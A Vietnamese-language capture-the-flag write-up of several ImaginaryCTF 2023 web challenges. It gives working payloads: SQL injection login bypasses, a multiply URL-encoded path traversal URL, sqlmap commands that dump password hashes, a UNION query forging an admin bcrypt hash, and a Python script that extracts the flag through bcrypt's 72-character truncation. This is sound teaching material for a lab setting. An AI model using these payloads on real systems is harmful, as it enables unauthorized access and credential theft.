# Idoriot ![](https://hackmd.io/_uploads/SyPb3Ioc3.png) Challenge cho phép login và register. Sau khi register ta nhận được một đoạn source code ![](https://hackmd.io/_uploads/ryuU3Uo52.png) Hmm... Có vẻ chỉ cần giá trị của ```$_SESSION['user_id']``` thành 0 là ta có thể lấy được flag :> ![](https://hackmd.io/_uploads/BymJaIs92.png) Nhưng mà lúc mình viết writeups này hình như có vẻ server đã đóng rồi nên không get được flag :< # Idoriot-revenge ![](https://hackmd.io/_uploads/SJ8tJwj5h.png) Challenge này chỉ chỉnh sửa một chút từ challenge trước đó nên ta chỉ cần đăng nhập với username là ```Admin```. và change ```user_id``` là ```0``` [PHP Type Juggling](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp) ```If == is used in PHP, then there are unexpected cases where the comparison doesn't behave as expected. This is because "==" only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===``` ![](https://hackmd.io/_uploads/SJKjxvs93.png) # Blank ![](https://hackmd.io/_uploads/SJJJ-Pj53.png) Có vẻ lại là một form login khác Xem qua source code mình tìm thấy một đoạn code đáng ngờ sau ``` db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => { if (err) { console.error(err); res.status(500).send('Error retrieving user'); } else { if (row) { req.session.loggedIn = true; req.session.username = username; res.send('Login successful!'); } else { res.status(401).send('Invalid username or password'); } } }); }); ``` Có vẻ nó kiểm tra chúng ta về SQL Injection Hmm đơn giản là chỉ cần set username là admin là password chèn đoạn payload ```" or 1=1 --``` ```app.get('/flag', (req, res) => { if (req.session.username == "admin") { res.send('Welcome admin. The flag is ' + fs.readFileSync('flag.txt', 'utf8')); } else if (req.session.loggedIn) { res.status(401).send('You must be admin to get the flag.'); } else { res.status(401).send('Unauthorized. Please login first.'); } }); ``` là chúng ta có được flag :> ![](https://hackmd.io/_uploads/HJlSGviqh.png) # Perfect Pictrue ![](https://hackmd.io/_uploads/rJGYzDj92.png) Challenge này có vẻ là file upload injection ``` from flask import Flask, render_template, request from PIL import Image import exiftool import random import os app = Flask(__name__) app.debug = False os.system("mkdir /dev/shm/uploads/") app.config['UPLOAD_FOLDER'] = '/dev/shm/uploads/' app.config['ALLOWED_EXTENSIONS'] = {'png'} def check(uploaded_image): with open('flag.txt', 'r') as f: flag = f.read() with Image.open(app.config['UPLOAD_FOLDER'] + uploaded_image) as image: w, h = image.size if w != 690 or h != 420: return 0 if image.getpixel((412, 309)) != (52, 146, 235, 123): return 0 if image.getpixel((12, 209)) != (42, 16, 125, 231): return 0 if image.getpixel((264, 143)) != (122, 136, 25, 213): return 0 with exiftool.ExifToolHelper() as et: metadata = et.get_metadata(app.config['UPLOAD_FOLDER'] + uploaded_image)[0] try: if metadata["PNG:Description"] != "jctf{not_the_flag}": return 0 if metadata["PNG:Title"] != "kool_pic": return 0 if metadata["PNG:Author"] != "anon": return 0 except: return 0 return flag def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS'] @app.route('/') def index(): return render_template('index.html') @app.route('/upload', methods=['POST']) def upload(): if 'file' not in request.files: return 'no file selected' file = request.files['file'] if file.filename == '': return 'no file selected' if file and allowed_file(file.filename): filename = file.filename img_name = f'{str(random.randint(10000, 99999))}.png' file.save(app.config['UPLOAD_FOLDER'] + img_name) res = check(img_name) if res == 0: os.remove(app.config['UPLOAD_FOLDER'] + img_name) return("hmmph. that image didn't seem to be good enough.") else: os.remove(app.config['UPLOAD_FOLDER'] + img_name) return("now that's the perfect picture:<br>" + res) return 'invalid file' if __name__ == '__main__': app.run() ``` Tạo một bức ảnh hoàn hảo có vẻ ta chỉ cần upload file đáp ứng toàn bộ yêu cầu của đoạn code thôi sovle.py ``` from PIL import Image def magic_image(): # Step 1: Create the Image width, height = 690, 420 image = Image.new("RGBA", (width, height), (255, 255, 255, 0)) # Step 2: Modify Pixel Colors image.putpixel((412, 309), (52, 146, 235, 123)) image.putpixel((12, 209), (42, 16, 125, 231)) image.putpixel((264, 143), (122, 136, 25, 213)) # Step 3: Save the Image image.save("solve.png") if __name__ == "__main__": magic_image() ``` Sau đó sử dụng Exiftool ``` exiftool -PNG:Description="jctf{not_the_flag}" -PNG:Title="kool_pic" -PNG:Author="anon" solve.png ``` Upload file và Boom we got the flag ![](https://hackmd.io/_uploads/ry89mvj93.png) # Rok ![](https://hackmd.io/_uploads/rkq6mDiqn.png) Bài có cung cấp cho ta một đoạn source code ```<?php $filename = urldecode($_GET["file"]); if (str_contains($filename, "/") or str_contains($filename, ".")) { $contentType = mime_content_type("stopHacking.png"); header("Content-type: $contentType"); readfile("stopHacking.png"); } else { $filePath = "images/" . urldecode($filename); $contentType = mime_content_type($filePath); header("Content-type: $contentType"); readfile($filePath); } ?> ``` Có vẻ mục đích của tác giả là ngăn chặn ta thực thi path traversal tuy nhiên sử dụng urldecode tồn tại nhiều điểm yếu, ```urldecode()``` chỉ có thể decode một lần mà qua một lớp layer mà thôi, điều này dẫn đến chúng ta có thể encode nhiều lần qua nhiều lớp layer để bypass qua đoạn filter trên ``` FROM php:8-apache RUN /usr/sbin/useradd -u 1000 user COPY index.php /var/www/html/ COPY file.php /var/www/html/ COPY styles.css /var/www/html/ COPY stopHacking.png /var/www/html/ RUN mkdir /var/www/html/images COPY images/* /var/www/html/images COPY flag.png / VOLUME /var/log/apache2 VOLUME /var/run/apache2 CMD bash -c 'source /etc/apache2/envvars && APACHE_RUN_USER=user APACHE_RUN_GROUP=user /usr/sbin/apache2 -D FOREGROUND' ``` Flag nằm ở flag.png vì vậy ta chỉ cần encode đoạn ../../../ nhiều lần là được http://roks.chal.imaginaryctf.org/file.php?file=%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epng ![](https://hackmd.io/_uploads/H1i6jvjq3.png) # Login [Login](https://github.com/f0rk3b0mb/ImaginaryCTF_login) Mình cố thử login với ```admin:admin``` tuy nhiên nó trả về ```Invalid username or password ``` View page source and find a comment ``` <!-- /?source -->``` ``` $flag = $_ENV['FLAG'] ?? 'jctf{test_flag}'; $magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344'; $db = new SQLite3('/db.sqlite3'); $username = $_POST['username'] ?? ''; $password = $_POST['password'] ?? ''; $msg = ''; if (isset($_GET[$magic])) { $password .= $flag; } if ($username && $password) { $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true); if (!$res) { $msg = "Invalid username or password"; } else if (password_verify($password, $res['pwhash'])) { $u = htmlentities($res['username']); $msg = "Welcome $u! But there is no flag here :P"; if ($res['username'] === 'admin') { $msg .= "<!-- magic: $magic -->"; } } else { $msg = "Invalid username or password"; } } ``` Có vẻ flag sẽ được chèm vào ```$password``` nếu chúng ta chung cấp đúng giá trị của ```$magic``` thông qua GET parameter, ví dụ http://login.chal.imaginaryctf.org/?aabbccdd11223344 Do giá trị ```$msg``` đã được chỉ ra nên việc logging với admin có vẻ sẽ không lấy được flag. Nó sẽ cho chúng ta giá trị của $magic nhưng chúng ta cần cách để recover flag Mình nghĩ có thể dùng sqlmap để khai thác challenge này Lấy POST login request vào file ```new.req``` ``` sqlmap -r new.req --batch``` Ta nhận được kết quả sau: ``` Parameter: username (POST) Type: time-based blind Title: SQLite > 2.0 AND time-based blind (heavy query) Payload: username=admin' AND 7431=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- bqUp&password=admin ``` Đi sau vào databases xem sao ``` sqlmap -r new.req --batch --tables +-------+ | users | +-------+ sqlmap -r new.req --batch -T users -C password --dump +----------+ | password | +----------+ | <blank> | | <blank> | +----------+ ``` Mình đoán cần tables ```pwhash``` ``` sqlmap -r new.req --batch -T users -C pwhash --dump +--------------------------------------------------------------+ | pwhash | +--------------------------------------------------------------+ | $2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S. | | $2y$10$Is00vB1hRNHYBl9BzJwDouQFCU85YyRjJ81q0CX1a3sYtvsZvJudC | +--------------------------------------------------------------+ ``` Có vẻ là [SQL Injection with password_verify(https://stackoverflow.com/questions/50756182/sql-injection-with-password-verify/50788204#50788204)]() Sau một hồi tìm kiếm mình tìm được một thứ khá [hay ho](https://stackoverflow.com/questions/50756182/sql-injection-with-password-verify/50788242#50788242) chúng ta có thể select a username, along with a "fake" password hash ``` SELECT * FROM table WHERE Username = 'xxx' UNION SELECT 'root' AS username, '$6$ErsDojKr$7wXeObXJSXeSRzCWFi0ANfqTPndUGlEp0y1NkhzVl5lWaLibhkEucBklU6j43/JeUPEtLlpRFsFcSOqtEfqRe0' AS Password' ``` Ok, thử lại với bài này ``` guest' UNION SELECT 'admin', '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.' AS pwhash -- ``` Boom !! chúng ta đã thành công chèn admin user với guest password hash. Và lấy được gái trị ```magic``` value ở source ```Welcome admin! But there is no flag here :P<!-- magic: 688a35c685a7a654abc80f8e123ad9f0 -->``` Vì bài này mình không hiểu làm thế nào để có thể login với admin trong thời gian solve nên là dịch tạm writeups của mọi người, ok anyway dù sao vừa ghi vừa học lại :> Bây giờ set parameter http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0 Tuy nhiên có một vấn đề ở đây là : ```http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0``` ```Caution Using the PASSWORD_BCRYPT as the algorithm, will result in the password parameter being truncated to a maximum length of 72 characters.``` Vi vậy chúng ta nên submit bcrypt hash of ```(71 * A) + flag_char``` như là password, với việc ```flag_char``` lặp trong vòng lặp với các giá trị printable ASCII If the login is successful, we've cracked that character of the flag and we can now do (70 * A) + flag_char, until we have the full flag. Explotit.py ``` ### https://github.com/f0rk3b0mb/ImaginaryCTF_login ### Code created by f0rk3b0mb ### for ImaginaryCTF2023 ### 22 july 2023 import string import requests import bcrypt import os #xxx' UNION SELECT 'admin' AS username,'$2y$10$C4lfi0f8kouggVBFkKF1ru./NEQTKqptjJCh6JI/hJieELWHLeFXi' AS pwhash-- url="http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0" #flag : ictf{why_are_bcrypt_truncating_my_passwords?!} secret=["i","c","t","f"] while True: length=71-len(secret) overflow="A"*length for i in string.printable[:-6]: guess=overflow+"".join(secret)+str(i) hash=os.popen(f"php exploit.php {guess}").read() headers={"Content-Type": "application/x-www-form-urlencoded"} data=f"username=xxx'+UNION+SELECT+'admin'+AS+username,'{hash}'+AS+pwhash--&password={overflow}" r=requests.post(url,data=data,headers=headers) if "Welcome admin" in r.text: secret.append(i) print(f"found ...","".join(secret)) break else: print(f"trying {i}...") ``` Exploit.php ``` <?php // Check if the required arguments are provided in the command line if ($argc !== 2) { echo "Usage: php password_hash.php <password>\n"; exit(1); } // Get the password from the command line argument $password = $argv[1]; // Generate the password hash using password_hash() $hash = password_hash($password, PASSWORD_DEFAULT); // Output the generated hash echo $hash; ``` # Amagous [Amagous](https://github.com/ixSly/CTFs/blob/master/ImaaginaryCTF/Amogus.md)